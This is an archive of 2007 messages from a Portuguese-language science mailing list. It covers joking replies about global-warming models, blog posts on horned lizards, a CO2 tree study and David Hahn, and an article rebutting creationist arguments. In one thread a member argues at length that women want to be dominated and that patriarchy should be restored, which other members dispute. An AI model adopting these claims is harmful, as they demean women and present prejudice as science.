de "old times, good times", um erro de avaliação de nossa mente primata.

O passado sempre parece melhor que o presente e que o futuro, mas não
era. Nunca foi.

E ainda bem que é assim, e ainda bem que existe liberdade feminina,
igualdade de sexos e ainda bem que não se precisa mais usar ternos e
gravatas..:-)

Um abraço.

Homero





SUBJECT: Re: ondas pelo celular
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/08/2007 17:14

Realmente é uma mensagem q soa muito estranha mm. Mas é a coisa mais
fácil do mundo de se testar.

Aposto um pacote de M&M q não funciona.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Esse é o primeiro celular que 'vejo' que é capaz de modular a sua
> transmissão pela presença física de outra onda eletromagnética (de
> maior freqüência ainda!)! E depois, na recepção, ter um transdutor
> cerâmico capaz de responder à freqüência da onda moduladora ... que
> patacoada!




SUBJECT: Re: Em busca de uma nova ordem
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/08/2007 17:58

Olá, Gil.

> Quando abandona a estética que costuma usar em seus textos, fica
> evidente seu objetivo: Justificar um sistema opressivo contra as
> mulheres. Seu livro chamaria alguma atenção em convenções da Klu
Klux
> Klan, ou de radicais religiosos ou neonazistas .

Pode ser, mas é importante deixar claro que eu utilizo um embasamento
científico incompatível com a maior parte das correntes religiosas. É
bom observar também que muitas mulheres vêem com bons olhos um
sistema no qual, digamos, elas teriam um dono que lhes impusesse
limites.

> Você provavelmente começou pela conclusão, e direcionou a escolha
de suas argumentações e fontes neste sentido.

Realmente, por volta do fim do milênio, eu via grandes besteiras
serem afirmadas nas mídias a respeito da relação entre homens e
mulheres, do comportamento feminino, etc. Eu já tinha algum
embasamento científico para contestar essas idéias, pois estava
familiarizado com a sociobiologia; decidi, portanto, escrever um
livro sobre o assunto. Acontece que, ao começar a pesquisar o
assunto, vi que o problema era bem mais complicado do que parecia, o
que me levou a uma critica a todo o sistema atual.

> Seu livro poderia se chamar "Quero Poder: Reinventando o
patriarcado"

O título não é mal, mas seria melhor "Poder aos homens: Reinventando
o patriarcado." O problema é que para se fazer isso seria necessária
uma reforma de toda a estrutura da sociedade de mercado. O
capitalismo é o grande vilão desta história. Ele liberta as mulheres,
feminiliza os homens, destrói a estrutura social, subverte as
estruturas de poder. Você viu aquele filme Fight Club? O cara não
consegue se relacionar com a mulher (pare de ler agora se você ainda
não viu o filme, pois vale a pena ver este), aí ele cria um exército
de homens cujo objetivo é derrubar o sistema econômico mundial. Na
cena final, ele finalmente se liberta do sistema e neste momento, o
homem e a mulher se encontram e se entendem, enquanto ao fundo, as
torres que sustentam o sistema econômico mundial desabam
majestosamente. É lindo, mas jamais seria filmado hoje em dia. Ele só
foi feito por que era 1999, tinha todo um clima fim-de-milênio que
permitiu Hollywood fazer uma superprodução contra a própria sociedade
burguesa.

Saudações.
João de Carvalho




SUBJECT: Re: p/Carvalho - Em busca de uma nova ordem
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/08/2007 18:15

Olá, Murilo.

> P/chegar a este mundo que está aí e que vc desaprova; pelo menos
parcialmente, suponho; nós, da minha geração, quebramos e ralamos
muito chifre pelo caminho.

Eu sei. E não só a de vocês. A Revolução Francesa, as revoluções de
1830 e 1848, a guerra civil americana, ou mesmo a Segunda Guerra
Mundial, todos podem ser vistos como lutas da burguesia contra outros
regimes. Vale observar que ela venceu em todos os casos, assim como
a mulher venceu a guerra dos sexos.

> Só falta vc declarar é um xiita e árabe medieval, ou coisa
parecida, até com fundo religioso.

Eu acredito na ciência. O conhecimento é o meu deus. Mas o livro tem
uma inclinação "espiritual", por assim dizer, pois, de certa forma,
Deus existe. Assim como o amor, o nojo, a vingança e a vergonha
existem. Essas coisas fazem parte da arquitetura mental dos humanos.

> Uma nova ordem será inevitável, principalmente pela via da
filosofia em seu mais amplo expectro... como ''até um relógio
quebrado consegue estar certo duas vezes por dia''... vá fundo... mas
não vale reclamar...

Desculpe, não entendi.

Saudações.
João de Carvalho




SUBJECT: Re: [ciencialist] Re: p/Carvalho - Em busca de uma nova ordem
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/08/2007 18:48

João 9 - 8/18:15
"Eu acredito na ciência. O conhecimento é o meu deus."

E o que seu conhecimento ou o seu deus tem a ver com Ciência?

João 9 - 8/18:25
"... Deus existe. Assim como o amor, o nojo, a vingança e a vergonha
existem."

Bela conjunção de idéias! Desse frase subordinada comparativa eu gostei! É o que se chama "a hipótese confirmando a tese"; assim como o "nojo existe, deus também existe".

João 9 - 8/18:30
"Mas o livro ... "

O que esse livro tem de Ciência? Aponte uma frase do Método Científico nesse livro!

Léo 9 - 8/18:47

[]'




SUBJECT: Re: Em busca de uma nova ordem
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/08/2007 18:48

Olá, Homero.

> Desculpe, João, mas eu tive a mesma sensação do Gil, sua posição é
de
> confronto, onde apenas a opressão feminina, corrente no passado,
pode
> permitir o livre, e correto, modo de viver masculino.

As mulheres querem ser dominadas, só que a maioria não sabe disto.
Mas creio que mesmo uma mulher emancipada de hoje, se um homem lhe
impor autoridade legítima, ela irá entender.

> Ou oprimimos as mulheres, ou somos oprimidos. É isso?

Creio que sim. O homem de hoje é dominado pelas mulheres.

> Mas nada justifica a opressão da mulher,
> e a infelicidade destas não faria a minha.

A mulher do século XIX era infeliz porque enquanto o sistema social
era burguês, elas continuavam adotando um papel tradicional. Em uma
sociedade saudável, o fato das mulheres não terem liberdade não
significa que elas sejam infelizes. Uma citação do meu livro:

Em muitas culturas tradicionais as esposas celebram sua submissão aos
seus maridos, e tudo indica que forças inatas as induzem a este
comportamento. Uma colunista certa vez observou que apesar de toda a
emancipação feminina, muitas mulheres gostam de ter um dono.
Recentemente, Laura Doyle, uma ex-feminista e mulher mandona, em seu
livro The surrendered wife, aconselhou que para encontrar felicidade
no casamento as mulheres devem se submeter aos seus maridos,
confiando neles e deixando que eles assumam o controle. Ela diz que
quando passou a agir desta forma "algo mágico aconteceu." A união que
ela sempre havia sonhado apareceu. Doyle mudou seu sobrenome para o
do marido, passou a demonstrar um grande respeito por ele, e
desfrutou de uma intimidade no relacionamento que nunca havia
conseguido anteriormente. Vale observar que seu livro fez grande
sucesso.

A ex-feminista Christina Hoff Sommers traiu a causa de suas "irmãs"
ao escrever um comentário sobre a famosa cena da escada de E o vento
levou sugerindo que as feministas estão fora de sintonia com a maior
parte das mulheres. "Muitas mulheres", escreveu ela, "continuam
gostando da visão de Rhett Butler carregando Scarlett O'Hara pelas
escadarias em direção a um destino inconcebível pela filosofia
feminista."

> Eu sou mais homem se estiver de terno??? Não é meu caráter ou minha
> personalidade, ou mesmo as escolhas que faço durante a vida, que me
> definem como homem, mas meu terno? Minha cara feia e pouco senso de
> humor? É isso que é ser homem???

O terno é conseqüência, e não causa da masculinidade. O que é ser
homem para você? O que é masculinidade?

> Eu uso jeans e camiseta, e tenis, e ando de bicleta, e brinco e dou
> risada, etc, etc. Isso me torna um adulto com problemas e com falta
de
> hombridade?

Não existem mais homens. Bom... no Afeganistão existem. Mas não nas
sociedades burguesas.

> Mas é só isso que o preocupa? Temos centenas, milhares de coisas,
> fenômenos, eventos e situações que "nunca ocorreram", a maioria
delas
> é benéfica e vantajosa de todo modo. A escravidão, por exemplo,
nunca
> antes ela foi eliminada do planeta, e nunca antes ela havia sido
> declarada ilegal por definição.
>
> Nunca tínhamos vivido tanto tempo (menos de 30 em toda nossa
história,
> e mais de 85 nos dias de hoje), nunca doenças haviam sido eliminadas
> da face da Terra (como a varíola), nunca se pode controlar a
concepção
> com camisinhas e pílulas. Nunca antes, em 300 mil anos de história,
> pessoas ao redor do mundo puderam se comunicar em tempo real e
trocar
> idéias.

Nunca antes o homem saiu da Terra e a olhou de fora. Historicamente,
o que está acontecendo é espantoso, mas não necessariamente bom. Não
creio que, com todo o progresso que tivemos, o homem esteja mais
feliz.

> e ainda bem que não se precisa mais usar ternos e gravatas..:-)

É realmente uma sorte. No calor do Rio seria meio incômodo andar de
terno. A crise social tem suas vantagens.

Saudações.
João de Carvalho




SUBJECT: Re: [ciencialist] Re: Em busca de uma nova ordem
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/08/2007 18:52

João 9 - 8/18:48
"Uma citação do meu livro:

Em muitas culturas tradicionais as esposas celebram sua submissão aos
seus maridos, e tudo indica que forças inatas as induzem a este
comportamento."

Ah! Agora sim achei uma frase científica no livro! Essas 'forças inatas' que promovem a 'indução' é que ficou um pouco confuso; seriam as forças de Lorentz?

[]'

Léo 9 - 8/18:51



SUBJECT: Re: [ciencialist] Re: Em busca de uma nova ordem
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/08/2007 18:54

Como nada aqui trata de Ciência, sugiro terminar com essa thread. Assim, solicito aos listeiros que parem de 'responder' ao tema.
Agradeço,
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 9 de agosto de 2007 18:48
Assunto: [ciencialist] Re: Em busca de uma nova ordem


Olá, Homero.




SUBJECT: Re: [ciencialist] Re: Em busca de uma nova ordem
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/08/2007 20:34

Eu nao pretendia mesmo, só passo pra dar um alô ao Murilo e ao Homero.

abraços, a gente se vê em threads com assuntos menos abstratos


Em 09/08/07, Luiz Ferraz Netto<leobarretos@uol.com.br> escreveu:
> Como nada aqui trata de Ciência, sugiro terminar com essa thread. Assim, solicito aos listeiros que parem de 'responder' ao tema.
> Agradeço,


SUBJECT: RE: [ciencialist] Re: Em busca de uma nova ordem
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/08/2007 22:06


Alô pra vc também, Gil...
Agradeço aos moderadores por terem deixado passar as msg minhas e as do Gil.
A coisa se desnudou e todos vimos se abrir um panorama absolutamente insano e paranóico.
Estou forézimo dessa parada.
abr/Murilo SP 09/agt07
[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Fw: feira de ciencias
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/08/2007 10:08

Bem, então pode ser uma maquete da Estátua da Liberdade com água pelos
ombros...

[ ]s

Alvaro


----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, August 08, 2007 9:32 PM
Subject: [ciencialist] Re: Fw: feira de ciencias


--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Maquete sobre aquecimento global? Que tal uma reprodução do Cristo
> Redentor com a água batendo pelos joelhos?

Considerando-se q o pico do Corcovado está a uns 700 metros acima do
nível do mar, não seria uma representação realista da elevação
esperada mm nos cenários mais drásticos. (A menos q haja um
solopamento da base do morro.)

[]s,

Roberto Takata



SUBJECT: Re: Fw: feira de ciencias
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/08/2007 12:28

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Bem, então pode ser uma maquete da Estátua da Liberdade com água
> pelos ombros...

Cenário mais para um filme tipo "O dia depois de amanhã"...

Só pedestal da estátua tem uns 47 metros. A estátua tem quase 47 m tb.
Se descontarmos o braço com a tocha vai sobrar ainda uns 30 m. Sem
contar a base da ilha...

[]s,

Roberto Takata



SUBJECT: Lágrimas de lagarto: sangue a um metro de distância!
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 10/08/2007 16:31

L�grimas de lagarto: sangue a um metro de
dist�ncia!<http://100nexos.com/arquivo/237><http://100nexos.com/arquivo/237#respond>

Assista ao v�deo <http://100nexos.com/arquivo/237>

Pelo menos quatro esp�cies de lagartos-de-chifres t�m uma t�tica de defesa
completamente inusitada: lan�am jatos de sangue pelos olhos a dist�ncias de
at� um metro. Confira o v�deo, e se custar a acreditar a princ�pio, confira com
o or�culo<http://www.google.com/search?num=50&hl=en&safe=off&rls=GGGL%2CGGGL%3A2006-20%2CGGGL%3Aen&q=Phrynosoma+blood+eyes&btnG=Search>.
Isto � incr�vel!

*Veja tamb�m:*
LRAD - Arma s�nica <http://100nexos.com/arquivo/53> Ru�dos altos e inc�modos
t�m ...
Os Darwin Awards de 2006 <http://100nexos.com/arquivo/49>E os premiados
deste ano incluem: - Jason e Sara q...
O maior ralo do mundo <http://100nexos.com/arquivo/90> Parte da represa
Monticello na Calif�rnia,...
Nunca traia uma geneticista <http://100nexos.com/arquivo/204>Ann
Chamberlain-Gordon, legista do estado de Michi...
O sucessor do Hubble: telesc�pio especial James
Webb<http://100nexos.com/arquivo/56>Planejado para ser lan�ado em
2013, o tele...


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: A fazer: plantar uma árvore, escrever um livro, aquecimento global
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 10/08/2007 16:32

A fazer: plantar uma �rvore, escrever um livro, aquecimento
global<http://100nexos.com/arquivo/238>

Um estudo de dez anos sobre os efeitos do aumento da concentra��o de di�xido
de carbono (CO2) na atmosfera sobre �rvores foi conclu�do, e os resultados
podem desagradar tanto ambientalistas fan�ticos como rela��es p�blicas de
ind�strias petrol�feras. O projeto de Enriquecimento de CO2 em Ar Livre [
FACE <http://face.env.duke.edu/main.cfm>] efetivamente lan�ou CO2 na
atmosfera em uma pequena �rea aberta de �rvores, com uma sofistica��o que
inclu�a medir a dire��o do vento e lan�ar o CO2 de acordo. Simularam assim
uma atmosfera com 50% mais di�xido de carbono que os n�veis atuais (que j�
aumentaram mais de 25% desde o in�cio da Revolu��o Industrial), e
descobriram, sem muita surpresa, que as �rvores de fato absorveram assim
mais carbono da atmosfera. Isso anima ambientalistas fan�ticos, que defendem
plantar �rvores em todo lugar; e tamb�m as empresas petrol�feras, que
defendem que todo aumento no CO2 acaba sendo corrigido automaticamente pela
natureza, que ainda teria uma explos�o verde como na �poca dos dinossauros
gra�as a nossa fuma�a. Todos felizes?
Mas o estudo revelou que o aumento na absor��o de carbono por parte das
�rvores depende da disponibilidade de �gua e nutrientes, e *apenas aquelas
que receberam tais recursos em abund�ncia poderiam fazer alguma diferen�a
efetiva para combater o aumento de CO2 na atmosfera*. "Se a disponibilidade
de �gua continuar diminuindo enquanto a do CO2 aumentar, ent�o n�o teremos
um ganho na absor��o de carbono da atmosfera", disse Ram Oren, diretor do
projeto. "E o impacto na qualidade da �gua ao fertilizar grandes �reas ser�
intoler�vel � sociedade. A �gua j� � um recurso em escassez". Tais
resultados s�o parte do press release divulgado pela Universidade de
Duke<http://www.eurekalert.org/pub_releases/2007-08/du-esl080607.php>
.
Esta � mais uma li��o de que a quest�o do aquecimento global, polui��o e
meio ambiente � sempre muito mais complexa do que v�rios grupos de interesse
tentam vender. Reflorestar �reas desmatadas e combater o pr�prio
desmatamento pode ser ben�fico, por outro lado a solu��o n�o � t�o simples
como apenas plantar �rvores. Curiosamente, escrever um livro pode ajudar, se
for um ajudando a esclarecer o tema e enriquecer o debate. J� fazer um
filho�

*Veja tamb�m:*
O �ltimo da fila <http://100nexos.com/arquivo/66>Em 2000-2001, o desabamento
das bolsas e o colapso...
Salvem Al Gore <http://100nexos.com/arquivo/106>O Rabiscos contra-ataca o
post cr�tico ante...
Doutor Strangelove: financiado pela
ExxonMobil<http://100nexos.com/arquivo/105>O
blog Rabiscos Econ�micos revela "Como eu p...
Diagrama em corte de um tanque
<http://100nexos.com/arquivo/201>Sensacional: clique na figura para
ver como um li...
Jogo de sombras <http://100nexos.com/arquivo/89> Sabe fazer um coelho de
sombra com as m�os...


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SUBJECT: Escoteiro Radioativo: o retorno!
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 10/08/2007 16:34

Escoteiro Radioativo: o retorno! <http://100nexos.com/arquivo/239>

Com apenas dezessete anos, David
Hahn<http://www.foxnews.com/story/0,2933,292111,00.html>criou um
reator nuclear em um barraco nos fundos da casa de sua m�e.
Fascinado por ci�ncia desde crian�a, Hahn quis possuir amostras de todos os
elementos da tabela peri�dica � incluindo os radioativos.
Trabalhando em segredo, o escoteiro utilizou materiais dom�sticos e coletou
elementos radioativos dispon�veis em pequen�ssimas quantidades em diversos
aparelhos in�cuos � indo de detectores de fuma�a a rel�gios. Mas assim como
voc� pode fazer uma bomba com cabe�as de palitos de f�sforo, tamb�m pode
construir um reator nuclear para gerar elementos radioativos cada vez mais
pesados a partir de quantidades menores acumuladas de muitas fontes.
N�s conhecemos a hist�ria de Hahn <http://www.anfrix.com/?p=511> porque o
reator ao fim n�o funcionou: felizmente n�o da pior forma poss�vel, mas suas
"atividades suspeitas" acabaram chamando a aten��o da pol�cia, que descobriu
horrorizada os experimentos at�micos do garoto que mal havia completado o
ensino m�dio. O FBI e outras ag�ncias acabaram selando toda a casa da m�e de
Hahn, perigosamente contaminada, e acredita-se que o pr�prio Hahn j� havia
sido submetido a doses muito superiores �s que uma pessoa receberia em toda
uma vida. Tudo isso ocorreu em 1994, e apesar de tudo as coisas n�o acabaram
t�o mal. Hahn conseguiu uma medalha dos escoteiros, foi para a universidade,
saiu, teve um artigo e logo um livro publicado em 2004 com sua fant�stico
biografia <http://www.mindfully.org/Nucs/Radioactive-Boy-Scout1nov98.htm>,
alistou-se na marinha empolgado em trabalhar com os reatores nucleares do
porta-avi�es USS Enterprise (!), mas o pobre homem n�o foi autorizado sequer
a fazer uma visita.
Uma pena que nem tudo terminou a�. H� alguns dias, agora mesmo, Hahn foi
preso sob a acusa��o de roubar detectores de fuma�a. Obviamente ainda
continua obcecado com a radia��o. E o triste � ver sua fotografia na
FOXnews<http://www.foxnews.com/story/0,2933,292111,00.html>.
Seu rosto est� repleto de feridas, segundo os oficiais devido � exposi��o �
radia��o.
Confira um breve clipe de um document�rio ingl�s de
2003<http://www.youtube.com/watch?v=o2FpeM3ejjw>com algumas imagens
antigas de um Hahn ainda n�o t�o radioativo.

*Veja tamb�m:*
O aumento do pre�o do petr�leo ir� emagrecer os
americanos?<http://100nexos.com/arquivo/60>N�o porque pre�os mais
altos da gas...


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SUBJECT: Re: Em busca de uma nova ordem
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/08/2007 17:46

Olá, Luis.

> João 9 - 8/18:15
> "Eu acredito na ciência. O conhecimento é o meu deus."

> E o que seu conhecimento ou o seu deus tem a ver com Ciência?

Conhecimento é ciência. Para mim são a mesma coisa. Sobre ser meu
deus, é que o conhecimento é a rocha sólida que eu me agarro em meio
ao caos e desamparo do mundo. Eu acredito em conhecimento verdadeiro.

> Bela conjunção de idéias! Desse frase subordinada comparativa eu
gostei! É o que se chama "a hipótese confirmando a tese"; assim como
o "nojo existe, deus também existe".

Na verdade não é exatamente deus. O que existe é o sentimento místico
e a tendência primata de se submeter ao macho dominante, que na
espécie humana parece estar ligada ao sentimento místico. Daí se
deriva Deus.

> O que esse livro tem de Ciência? Aponte uma frase do Método
Científico nesse livro!

Eu não faço ciência neste livro, eu a utilizo como bases teóricas.
Basicamente ciência cognitiva e antropologia biossocial.

> Ah! Agora sim achei uma frase científica no livro! Essas 'forças
inatas' que promovem a 'indução' é que ficou um pouco confuso; seriam
as forças de Lorentz?

Não sei o que são as forças de Lorentz. O que eu quis dizer é que
existem pré-disposições inatas, impulsos emocionais e instintivos,
que nos levam a assumir determinados comportamentos. E esses impulsos
evoluíram através da seleção natural, portanto, em última instância
eles visam a sobrevivência e reprodução dos indivíduos que os
apresenta.

Saudações.
João de Carvalho




SUBJECT: Um estrago maior que o da Superinteressante
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/08/2007 22:41

Um estrago maior que o da Superinteressante

Por Manuel Doria em 17/7/2007

Divulgação científica de má qualidade é fonte de muitos efeitos
negativos num país como o Brasil, onde educação científica é
disponível para poucos. Popularizar desinformação provoca uma
assimetria cada vez maior entre cientistas e o público leigo, o que
pode ter conseqüências extremamente prejudiciais quando a pesquisa
científica é crucial em assuntos de interesse público.

Em matéria de desinformação científica, a Superinteressante vem
executando o serviço com maestria há anos, como qualquer leitor
minimamente engajado em divulgação científica compromissada, como a
edição brasileira da Scientific American, é capaz de acusar. Na edição
de junho da Super, a bola da vez foi Darwin e a teoria da evolução e
todos os fatos parecem apontar que a revista está muito mais
interessada em causar polêmica do que em educar o público leigo.

Detratores do conhecimento científico se fartam em divulgação
científica de má qualidade. Aproveitam-se de caricaturas e informações
falsas apresentadas, assumem que representam o conhecimento científico
vigente e utilizam isso em prol de sua agenda.

Foi precisamente essa a manobra realizada pelo criacionista brasileiro
Michelson Borges no artigo "Revista mata a razão e a paciência",
publicado neste Observatório da Imprensa no dia 19 de junho. O
jornalista, ao invés de aproveitar a oportunidade para realizar
críticas construtivas da péssima matéria de capa da Superinteressante
do último mês, agarrou-se à oportunidade de difundir argumentos
pseudocientíficos da inócua retórica criacionista.

Afirmação enganosa

O abuso está presente de cara no primeiro parágrafo do referido
artigo. Michelson alega que a teoria da evolução darwiniana está
"longe de ser unanimidade entre os cientistas", citando para embasar
sua colocação o eminente e falecido biólogo evolutivo John Maynard
Smith a respeito dos posicionamentos do famoso paleontólogo, também
falecido, Stephen Jay Gould. A citação é originária de uma resenha de
John Maynard Smith do livro A perigosa idéia de Darwin, do filósofo
Daniel Dennett. Nesse livro, Dennett dedica várias páginas para
analisar as propostas de Gould aos fundamentos teóricos da evolução
biológica.

Dentro da produção intelectual de Gould, sua contribuição mais
não-ortodoxa foi a hipótese de que mecanismos não-darwinianos de
auto-organização do genoma estariam presentes nas transições
macroevolucionárias de várias linhagens de seres vivos. Existem outros
biólogos teóricos com propostas similares – com o intuito de
complementar o neodarwinismo –, como Stuart Kauffman e James Shapiro.
Essas idéias controversas até o momento são consensualmente
consideradas como desnecessárias pela comunidade acadêmica, mas nova
evidência empírica pode acabar incorporando-as a uma futura síntese
nas ciências biológicas. A discordância de Gould e esses outros
cientistas com alguns aspectos do neodarwinismo, entretanto, não
implica de forma alguma que a comunidade científica julga que as
proposições centrais do mesmo estão em crise, como Michelson procurou
induzir o leitor a acreditar. Nenhum desses cientistas duvida que
todas as formas de vida terrestres estão unidas numa grande rede de
parentesco e que a seleção natural produz adaptações, duas proposições
centrais do darwinismo. Inúmeros outros detalhes da teoria da evolução
continuam sendo muito debatidos, como, por exemplo, o peso que a
seleção natural possui em relação a outros mecanismos evolutivos (como
a deriva genética) durante a especiação. Mas a afirmação de que a
teoria da evolução "segue longe de ser unanimidade entre os
cientistas" é profundamente enganosa.

Loterias de aminoácidos

Michelson invoca a opinião de dois astrofísicos do CNPq a respeito da
complexidade de sistemas biológicos. Exemplo clássico de apelo a
autoridades inadequadas. Afinal, costumamos consultar pesquisadores de
ciências biológicas quando precisamos de pareceres representativos em
mecânica celeste?

O artigo inicia uma série de ataques a uma visão naturalística da
origem da vida, empregando no ato várias falácias criacionistas
tradicionais. Primeiramente, para tentar persuadir o leigo a julgar a
origem naturalística da vida como um evento praticamente impossível,
Michelson cita o zoólogo britânico Richard Dawkins a respeito da
quantidade de informação genética presente em uma "simples ameba". O
leitor pode encontrar-se desavisado do fato de que amebas são
protozoários, organismos eucariontes, extremamente mais sofisticados
que as primeiras formas de vida. Eucariontes surgiram no planeta há
cerca de 2 bilhões de anos.

O jornalista prossegue aplicando o estrategema criacionista de "chutar
o tamanho do protobionte" (como são chamados os sistemas que
antecederam os primeiros organismos). Michelson alega que a chance de
um polímero de 100 aminoácidos se formar espontaneamente é equivalente
a "um homem de olhos vendados encontrar um grão de areia específico no
deserto do Saara por três vezes consecutivas" (não indicando a menor
referência de como e onde chegou a esse valor) e que a vida exige no
mínimo 200 destas moléculas. A verdade, entretanto, é que
pesquisadores no campo interdisciplinar da origem da vida não sabem
exatamente quão complexos foram esses sistemas biológicos pioneiros
que se formaram espontaneamente. Há propostas, com amparo
experimental, de que o mesmo pode ter sido tão pequeno quanto uma
cadeia de 6 monômeros.

Na literatura criacionista podem ser encontrados os mais diversos
números astronômicos com o objetivo de mostrar a impossibilidade
efetiva de uma origem natural para a vida. Em todas essas estimativas,
os cálculos probabilísticos partem de premissas falsas e
freqüentemente são obtidos através da matemática errada. Síntese de
polímeros não ocorre por puro acaso, como em uma loteria: compostos
químicos formam-se obedecendo a leis que regem as interações
intermoleculares e são conhidos vários exemplos de sistemas
dissipativos especiais, nos quais a organização emerge espontaneamente.

Ad hocs sobrenaturais

Mesmo que a menor protocélula exija centenas de proteínas, nenhum
pesquisador alega que seu maquinário surgiu acidentalmente de uma só
vez, e sim, que o mesmo evoluiu de precursores (a abordagem mais
famosa, nesse sentido, são os hiperciclos auto-catalíticos de
moléculas de RNA do biofísíco alemão Manfred Eigen). O espantalho
criacionista de que cientistas acreditam que os primeiros organismos
unicelulares foram produto de colisões fortuitas de moléculas
orgânicas não poderia estar mais longe da verdade.

Não sabemos quantos dos compostos auto-catalíticos possíveis são
interessantes no contexto dos precursores de sistemas biológicos
(vários dos cálculos criacionistas presumem que esse valor é 1). O que
não é funcional para um ser vivo hoje, pode ter sido bom o suficiente
para um protobionte pioneiro. E também não conhecemos, dada a extensão
e idade do universo, quantas rodadas para a geração de protobiontes
estavam disponíveis. Nossa ignorância desses dados não permite que
criacionistas tirem conclusões probabilísticas precipitadas sobre a
implausibilidade de uma origem natural para a vida porque, no mínimo,
uma boa estimativa de todos esses fatores é indispensável antes de se
tentar realizar um cálculo como esse. Geociências, bioquímica
experimental e astrofísica nos cedem com regularidade mais evidência
empírica para guiar nossos programas de pesquisa em origem da vida,
mas ainda há muito que simplesmente não sabemos.

Ainda um dos grandes problema em aberto das biociências, a origem da
vida emprega pesquisadores e ferramentas de várias áreas, da física à
ciência da complexidade. Criacionistas, entretanto, não parecem ter o
menor interesse em avançar nosso conhecimento científico nessa
questão, não possuindo qualquer programa de pesquisa produtivo sobre o
assunto e preferindo preencher as lacunas de nosso conhecimento com ad
hocs sobrenaturais. Para uma apuração mais técnica das críticas
mencionadas aqui, sugiro os leitores consultarem o artigo "The
argument from biogenesis: Probabilities against a natural origin of
life", de Richard Carrier, publicado no periódico Biology and Philosophy.

Versatilidade e lacunas

A simples idéia de combinar variação aleatória e seleção-não aleatória
que compõe o darwinismo permitiu aplicações que transcendem o reino
das ciências biológicas.

Onde estão os limites dessa influência darwiniana? O jornalista
Michelson Borges parece inconformado com a sentença da
Superinteressante, onde é alegado que "a teoria de Darwin pode ter
desvendado o segredo dos buracos negros". De fato, essa é mais uma
instância do sensacionalismo com falta de rigor da Super e que pode
ter confundido seus leitores. Qual a relação entre darwinismo, buracos
negros e a origem do universo? O físico norte-americano Lee Smolin
aplicou o algoritmo darwiniano à cosmologia. Calculou que um fato
notável para o nosso universo é que as constantes físicas do mesmo são
perfeitamente dispostas para se formar um gerador ótimo de buracos
negros; praticamente toda a massa de nosso universo seria
inevitavelmente condensada para a formação buracos negros num futuro
distante. O que explica essa configuração tão notável? A hipótese de
Smolin é de que universos novos se desdobram do interior de buracos
negros, carregando consigo uma configuração parecida das constantes
físicas dos universos originais, mas sutilmente diferentes. As
linhagens de universos que persistem são aquelas cujas constantes
físicas permitem o aparecimento de mais buracos negros. Algumas
linhagens de universos acabariam sendo extintas se não conseguissem
ocasionar pelo menos um buraco negro. Existe um paralelo darwiniano no
modelo cosmológico de Smolin, mas em muitos aspectos cruciais não há
analogia com evolução biológica.

Fósseis da Fauna de Ediacara

Criacionistas possuem uma apreciação quase fetichista pelas lacunas de
nosso conhecimento e tomam as mesmas como fragilidade incurável, ao
invés de possibilidade totipotente. O artigo de Michelson Borges
possui vários exemplos disso. "No dia que alguém me explicar a origem
do sexo da maneira darwiniana, eu tiro o chapéu", diz ele. A origem da
reprodução sexuada do ponto de vista da visão gene-cêntrica da
evolução é ainda um problema em aberto. Várias teorias intrigantes, e
contendo amparo empírico, foram propostas – há, por exemplo, a
hipótese da "Rainha Vermelha", onde o sexo é uma adaptação para
resistir aos efeitos de parasitas. A criação de maior variabilidade
genética em uma prole em potencial pode também ter sido vantajosa,
permitindo que cada organismo de uma mesma geração aproveitasse um
nicho ecológico sutilmente diferente, o que não ocorreria se todos
fossem clones. Cito também a hipótese que argumenta que o sexo é
vantajoso por permitir que invenções estruturais originais em
organismos surjam mais rapidamente. Todas essas formulações (existem
